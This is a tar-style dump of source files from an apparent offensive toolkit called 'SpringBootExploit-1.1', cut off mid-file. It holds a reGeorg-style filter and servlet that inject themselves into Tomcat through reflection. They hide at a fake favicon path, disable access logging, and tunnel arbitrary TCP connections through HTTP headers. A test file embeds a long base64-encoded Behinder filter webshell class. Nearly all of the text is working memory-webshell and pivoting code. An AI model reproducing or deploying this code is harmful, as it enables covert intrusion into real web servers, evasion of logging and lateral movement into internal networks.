Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
try {
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
int readlen;
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
readlen = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, readlen));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (UnknownHostException var13) {
System.out.println(var13.getMessage());
response.setHeader("X-ERROR", var13.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (IOException var14) {
System.out.println(var14.getMessage());
response.setHeader("X-ERROR", var14.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("DISCONNECT") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
socketChannel.socket().close();
} catch (Exception var12) {
System.out.println(var12.getMessage());
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so;
for(so = response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
so.write(buf.array(), 0, bytesRead);
so.flush();
buf.clear();
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception var16) {
System.out.println(var16.getMessage());
response.setHeader("X-ERROR", var16.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("FORWARD") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
} catch (Exception var15) {
System.out.println(var15.getMessage());
response.setHeader("X-ERROR", var15.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
}
} else {
response.getWriter().write("Georg says, 'All seems fine'");
response.getWriter().flush();
response.getWriter().close();
}
} catch (ClassCastException var17) {
throw new ServletException("non-HTTP request or response");
}
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/reGeorgServlet.java 0000664 0000000 0000000 00000044537 14121252536 0025436 0 ustar 00root root 0000000 0000000 package com.drops.x;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationServletRegistration;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.ArrayList;
public class reGeorgServlet implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String path = "/favicondemo.ico";
public reGeorgServlet() {
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addServlet() throws Exception {
try {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(this.path);
standardContext.addChild(wrapper);
wrapper.setServletClass(this.path);
wrapper.setServlet(this);
Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(new String[]{this.path});
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(wrapper, "facade"));
}
return "Success";
} catch (Exception var9) {
return var9.getMessage();
}
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
try {
this.noLog(request);
} catch (Exception var14) {
}
try {
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
int readlen;
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
readlen = Integer.parseInt(request.getHeader("X-PORT"));
SocketChannel socketChannel = SocketChannel.open();
socketChannel.connect(new InetSocketAddress(target, readlen));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (UnknownHostException var12) {
System.out.println(var12.getMessage());
response.setHeader("X-ERROR", var12.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (IOException var13) {
System.out.println(var13.getMessage());
response.setHeader("X-ERROR", var13.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else {
SocketChannel socketChannel;
if (cmd.compareTo("DISCONNECT") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
socketChannel.socket().close();
} catch (Exception var11) {
System.out.println(var11.getMessage());
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
ByteBuffer buf = ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so;
for(so = response.getOutputStream(); bytesRead > 0; bytesRead = socketChannel.read(buf)) {
so.write(buf.array(), 0, bytesRead);
so.flush();
buf.clear();
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception var16) {
System.out.println(var16.getMessage());
response.setHeader("X-ERROR", var16.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("FORWARD") == 0) {
socketChannel = (SocketChannel)session.getAttribute("socket");
try {
readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
ByteBuffer buf = ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
} catch (Exception var15) {
System.out.println(var15.getMessage());
response.setHeader("X-ERROR", var15.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
}
} else {
response.getWriter().write("Georg says, 'All seems fine'");
response.getWriter().flush();
response.getWriter().close();
}
} catch (ClassCastException var17) {
throw new ServletException("non-HTTP request or response");
}
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/resources/ 0000775 0000000 0000000 00000000000 14121252536 0020534 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/resources/a.fxml 0000664 0000000 0000000 00000013564 14121252536 0021655 0 ustar 00root root 0000000 0000000
SpringBootExploit-1.1/src/test/ 0000775 0000000 0000000 00000000000 14121252536 0016555 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/test/java/ 0000775 0000000 0000000 00000000000 14121252536 0017476 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/test/java/demo.java 0000664 0000000 0000000 00000032174 14121252536 0021274 0 ustar 00root root 0000000 0000000 import com.drops.utils.HTTPUtils;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
/**
* @ClassName: demo
* @Description: TODO
* @Author: Summer
* @Date: 2021/8/2 9:57
* @Version: v1.0.0
* @Description:
**/
public class demo {
public static void main(String[] args) {
String base = "yv66vgAAADQB1goAegD1CQBpAPYJAGkA9wgA+AkAaQD5CAD6CQBpAPsIAPwJAGkA/QoAegD+CgB6AP8IAQAKAQEBAgoATwEDCgBPAQQKAQEBBQcBBgoBAQEHCgARAQgKABEBCQoATwEKBwELCgBpAQwIAQ0LADQBDgoAaQEPCACDBwEQCgAcAPUIAREIARIIARMLADUBFAsANAEVCwA1ARUKAGkBFgoAHAEXBwEYCgAmAPUIARkKACYBGgoAFgEbCgAmARsLADUBHAoAHAEbCgEdAR4KAR0BHwoBHQEgCgA7ASEKADkBIgcAqwcBIwcBJAgBJQoAOQEmCAEnBwEoCgA5ASkHASoKASsBLAgBLQgAfAoAOQEuCgEvATAKAS8BMQgAfgsANAEyCwEzATQIATUHATYHATcHATgIATkJAToBOwoBLwE8CwEzAT0JAT4BPwoBQAFBBwFCCwDFAUMIAUQKADkBRQoBKwEwCQE6AUYIAUcIAUgIALwIAUkKAE8BSggBSwoAFgFMCAFNCwA0AU4HAU8KAF4A9QsBUAFRCADgCAFSCwFTAVQIAVUKAVYBVwcBWAoAZgFZCgFWAVoHAVsKADkBXAoAaQD+CwFdAV4KAV8BYAoAaQFhCgFWAWIKAGkBYwoAOQFkCgA7AWUKABYBZggBZwgBaAcAkQgBaQgBaggBawcBbAcBbQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAJjcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA1B3ZAEABHBhdGgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkx4L0JlaGluZGVyRmlsdGVyOwEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAA21kNQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABbQEAHUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQABcwEAA3JldAEADVN0YWNrTWFwVGFibGUHAUIHAQsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGb3V0cHV0AQAYTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAFdGFnX3MBAAV0YWdfZQcBWwcBKgcBEAEACHBhcnNlT2JqAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQAEZGF0YQEAE1tMamF2YS9sYW5nL09iamVjdDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQADcmVxAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACHJlcXVlc3QyAQAEcmVzcAEAAmV4AQAJYWRkRmlsdGVyAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAxmaWx0ZXJNYXBPYmoBAARuYW1lAQABaQEAAUkBABFmaWx0ZXJTdGFydE1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAJZmlsdGVyTWFwAQAOZmluZEZpbHRlck1hcHMBAApmaWx0ZXJNYXBzAQAMY29udGV4dEZpZWxkAQASYXBwbGljYXRpb25Db250ZXh0AQAtTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkNvbnRleHQ7AQAPc3RhbmRhcmRDb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQAKc3RhdGVGaWVsZAEAEmZpbHRlclJlZ2lzdHJhdGlvbgcBbwEAB0R5bmFtaWMBAAxJbm5lckNsYXNzZXMBACpMamF2YXgvc2VydmxldC9GaWx0ZXJSZWdpc3RyYXRpb24kRHluYW1pYzsBAA5zZXJ2bGV0Q29udGV4dAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEABmZpbHRlcgEAFkxqYXZheC9zZXJ2bGV0L0ZpbHRlcjsBAApmaWx0ZXJOYW1lAQADdXJsBwFwBwFtBwFxBwE2BwE3BwFvBwFyBwEoBwFzAQAKRXhjZXB0aW9ucwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAD0xqYXZhL3V0aWwvTWFwOwcBdAcBdQcBdgcBdwcBeAcBeQcBegEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQADc3RyAQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEAClNvdXJjZUZpbGUBABNCZWhpbmRlckZpbHRlci5qYXZhDACEAIUMAHwAfQwAfgB/AQAFVVRGLTgMAIAAgQEAEGVhYzlmYTM4MzMwYTc1MzUMAIIAgQEAEC9mYXZpY29uZGVtby5pY28MAIMAgQwAhACLDAF7AXwBAANNRDUHAX0MAX4BfwwBgAGBDAGCAYMMAYQBhQEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAGGAYEMAIQBhwwBiAGJDAGKAYsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDACoAKkBAAFwDAGMAJMMAJIAkwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAMtPnwBAAN8PC0BAAl0ZXh0L2h0bWwMAY0BjgwBjwGODACzALQMAZABkQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAJRVJST1I6Ly8gDAGQAZIMAYgAtAwBkwGUBwGVDAGWAY4MAZcAhQwBmACFDAGZAZoMAZsBnAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAHWphdmF4LnNlcnZsZXQuanNwLlBhZ2VDb250ZXh0DAGdAZ4BAApnZXRSZXF1ZXN0AQAPamF2YS9sYW5nL0NsYXNzDAGfAaABABBqYXZhL2xhbmcvT2JqZWN0BwFyDAGhAaIBAAtnZXRSZXNwb25zZQwBowGkBwFxDAGlAaYMAacBqAwBqQGqBwFwDAGrAawBAAdjb250ZXh0AQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dAEAKG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQBACZvcmcvYXBhY2hlL2NhdGFsaW5hL3V0aWwvTGlmZWN5Y2xlQmFzZQEABXN0YXRlBwGtDAGuAa8MAbABsQwAswGyBwGzDAG0AbUHAbYMAbcBuAEAEGphdmEvbGFuZy9TdHJpbmcMAbkBugEAC2ZpbHRlclN0YXJ0DAG7AaAMAbwBrwEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwAQANZ2V0RmlsdGVyTmFtZQwBvQG+AQAHU3VjY2VzcwwBvwC0AQAVRmlsdGVyIGFscmVhZHkgZXhpc3RzDAHAAcEBABFqYXZhL3V0aWwvSGFzaE1hcAcBeAwBwgHDAQABdQcBdwwBxAHFAQADQUVTBwHGDAF+AccBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDACEAcgMAO4ByQEAEHgvQmVoaW5kZXJGaWx0ZXIMAcoBywcBdAwBzAHNBwHODAHPALQMAOoA6wwB0AHRDACOAI8MAdIB0wwAmwCcDAHUAIUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBAAZkZWNvZGUBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgcB1QEAKGphdmF4L3NlcnZsZXQvRmlsdGVyUmVnaXN0cmF0aW9uJER5bmFtaWMBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADWphdmEvdXRpbC9NYXABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAG2phdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdAEAC2dldEluc3RhbmNlAQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEACGdldEJ5dGVzAQAEKClbQgEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBAAh0b1N0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAlnZXRIZWFkZXIBAA5zZXRDb250ZW50VHlwZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAFHNldENoYXJhY3RlckVuY29kaW5nAQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEABWZsdXNoAQAFY2xvc2UBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAdpc0FycmF5AQADKClaAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldFNlcnZsZXRDb250ZXh0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29udGV4dDsBABVnZXRGaWx0ZXJSZWdpc3RyYXRpb24BADYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbjsBACJvcmcvYXBhY2hlL2NhdGFsaW5hL0xpZmVjeWNsZVN0YXRlAQANU1RBUlRJTkdfUFJFUAEAJExvcmcvYXBhY2hlL2NhdGFsaW5hL0xpZmVjeWNsZVN0YXRlOwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAVChMamF2YS9sYW5nL1N0cmluZztMamF2YXgvc2VydmxldC9GaWx0ZXI7KUxqYXZheC9zZXJ2bGV0L0ZpbHRlclJlZ2lzdHJhdGlvbiREeW5hbWljOwEAHGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGUBAAdSRVFVRVNUAQAeTGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGU7AQARamF2YS91dGlsL0VudW1TZXQBAAJvZgEAJShMamF2YS9sYW5nL0VudW07KUxqYXZhL3V0aWwvRW51bVNldDsBABhhZGRNYXBwaW5nRm9yVXJsUGF0dGVybnMBACooTGphdmEvdXRpbC9FbnVtU2V0O1pbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRNZXRob2QBAAdTVEFSVEVEAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACmdldE1lc3NhZ2UBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQApKExqYXZhL2x